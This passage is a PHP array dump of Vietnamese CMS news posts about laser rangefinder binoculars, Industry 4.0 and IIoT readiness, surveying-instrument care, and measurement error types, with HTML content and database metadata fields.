'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br />
<img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br />
<br />
<strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br />
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br />
<strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br />
<br />
<p style="margin: 10px 0px; padding: 0px;">
</p>
',
'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-06-10',
'modified' => '2025-08-19',
'status' => '1',
'view' => '89620',
'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '943',
'rght' => '944',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '538',
'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?',
'code' => null,
'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>',
'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
</h1>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1>
</li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p>
',
'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-20',
'modified' => '2025-08-19',
'status' => '1',
'view' => '63417',
'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '941',
'rght' => '942',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '537',
'name' => 'Cách bảo quản thiết bị trắc địa đúng cách',
'code' => null,
'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br />
- Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br />
- Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br />
- Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br />
Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br />
- Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br />
- Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br />
- Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br />
- Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br />
- Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br />
- Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br />
- Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br />
- Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br />
<br />
Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br />
</span></span>',
'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-03',
'modified' => '2025-08-18',
'status' => '1',
'view' => '75066',
'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '939',
'rght' => '940',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '536',
'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo',
'code' => null,
'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div>
